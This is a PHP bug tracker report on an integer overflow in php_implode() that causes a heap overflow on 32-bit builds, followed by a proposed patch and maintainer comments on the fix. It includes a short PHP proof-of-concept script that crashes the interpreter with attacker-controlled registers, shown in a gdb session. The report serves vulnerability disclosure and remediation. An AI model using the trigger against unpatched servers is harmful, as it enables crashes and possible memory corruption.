php.net |  support |  documentation |  report a bug |  advanced search |  search howto |  statistics |  random bug |  login
Bug #71449 An integer overflow bug in php_implode() could lead heap overflow, make crashes
Submitted: 2016-01-25 23:53 UTC Modified: 2016-01-27 07:00 UTC
From: yeongjin dot jang at gatech dot edu Assigned: stas
Status: Closed Package: Strings related
PHP Version: 7.0Git-2016-01-25 (Git) OS: Linux, Ubuntu
Private report: No CVE-ID:
 [2016-01-25 23:53 UTC] yeongjin dot jang at gatech dot edu
Description:
------------
A heap overflow vulnerability can be triggered by
an integer overflow vulnerability,
which exists in PHP-7.1.0 due to missing overflow check
in a function php_implode() in ext/standard/string.c

I believe this could lead memory leak to the string if
carefully exploited with using global addresses
in the binary (e.g., GOT entries, heap addresses, etc.).

The bug happens on the line of ext/standard/string.c:1249,
upon calling zend_string_alloc().
Both %eax and %ecx can be controllable by the exploit.

str = zend_string_alloc(len + (numelems - 1) * ZSTR_LEN(delim), 0);

This is only triggered in 32bit machines.





Test script:
---------------
<?php
  $arr = [];
  for($i=0;$i<65536; ++$i) {
     $arr[$i]= "aa";
  }
  $text1 = str_repeat("ABCD", 16384);
  // Changing ABCD into other values will alter %eax and %ecx.
  $str = implode($text1, $arr);
?>

Expected result:
----------------
Correct execution of implode of strings. 

Actual result:
--------------
[blue9057@ubuntu ~/exploit/php$] gdb `which php`
GNU gdb (Ubuntu 7.7.1-0ubuntu5~14.04.2) 7.7.1
Copyright (C) 2014 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.  Type "show copying"
and "show warranty" for details.
This GDB was configured as "i686-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
<http://www.gnu.org/software/gdb/documentation/>.
For help, type "help".
Type "apropos word" to search for commands related to "word"...
Reading symbols from /usr/local/bin/php...done.
(gdb) r implode.php
Starting program: /usr/local/bin/php implode.php

Program received signal SIGSEGV, Segmentation fault.
php_implode (delim=delim@entry=0xb7401000, arr=arr@entry=0xb7a13160, return_value=return_value@entry=0xb7a13100) at /home/blue9057/php-src/ext/standard/string.c:1255
1255				cptr -= ZSTR_LEN(*strptr);
(gdb) i r
eax            0x44434241	1145258561
ecx            0x44434241	1145258561
edx            0xb7452004	-1220206588
ebx            0xb7452004	-1220206588
esp            0xbfffbf80	0xbfffbf80
ebp            0xcccccccd	0xcccccccd
esi            0xb7451fe4	-1220206620
edi            0xb7442004	-1220272124
eip            0x827f0d8	0x827f0d8 <php_implode+440>
eflags         0x10206	[ PF IF RF ]
cs             0x73	115
ss             0x7b	123
ds             0x7b	123
es             0x7b	123
fs             0x0	0
gs             0x33	51
(gdb) r -v
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /usr/local/bin/php -v
PHP 7.1.0-dev (cli) (built: Jan 24 2016 20:39:41) ( NTS )
Copyright (c) 1997-2016 The PHP Group
Zend Engine v3.1.0-dev, Copyright (c) 1998-2016 Zend Technologies
[Inferior 1 (process 3607) exited normally]
(gdb)


Vulnerable Code:
----------------
str = zend_string_alloc(len + (numelems - 1) * ZSTR_LEN(delim), 0);

                      131072 +      65535    *    65536 (overflows),
all of len, numelem, and the length of delim are fully controllable.

Patches

Add a Patch

Pull Requests

Add a Pull Request

History

AllCommentsChangesGit/SVN commitsRelated reports
 [2016-01-26 00:32 UTC] yeongjin dot jang at gatech dot edu
I forgot to add the patch

diff --git a/ext/standard/string.c b/ext/standard/string.c
index 0229146..cb097cd 100644
--- a/ext/standard/string.c
+++ b/ext/standard/string.c
@@ -1246,6 +1246,11 @@ PHPAPI void php_implode(const zend_string *delim, zval *arr, zval *return_value)
                }
        } ZEND_HASH_FOREACH_END();

+        if(ZSTR_LEN(delim) >= (ULONG_MAX - len)/(numelems-1)) {
+                php_error_docref(NULL, E_WARNING, "Integer overflow has occurred");
+                RETURN_EMPTY_STRING();
+        }
+
        str = zend_string_alloc(len + (numelems - 1) * ZSTR_LEN(delim), 0);
        cptr = ZSTR_VAL(str) + ZSTR_LEN(str);
 [2016-01-26 07:16 UTC] ab@php.net
Thanks for the patch. A small correction could be - numelems should be of type uint32_t, and ZEND_SIZE_MAX should be used instead of ULONG_MAX.

Thanks.
 [2016-01-27 06:13 UTC] stas@php.net
The right way to fix it is to use zend_string_safe_alloc. There are multiple places there where safe_emalloc was replaced with unsafe zend_string_alloc. That all needs to be fixed. I'll make a patch.
 [2016-01-27 06:17 UTC] stas@php.net
-Assigned To: +Assigned To: stas
 [2016-01-27 06:55 UTC] stas@php.net
-Type: Security +Type: Bug
 [2016-01-27 07:00 UTC] stas@php.net
-Status: Assigned +Status: Closed
 [2016-01-27 07:00 UTC] stas@php.net
The fix for this bug has been committed.

Snapshots of the sources are packaged every three hours; this change
will be in the next snapshot. You can grab the snapshot at
http://snaps.php.net/.

 For Windows:

http://windows.php.net/snapshots/
 
Thank you for the report, and for helping us make PHP better.


 
PHP Copyright © 2001-2017 The PHP Group
All rights reserved.
Last updated: Tue Aug 29 15:01:52 2017 UTC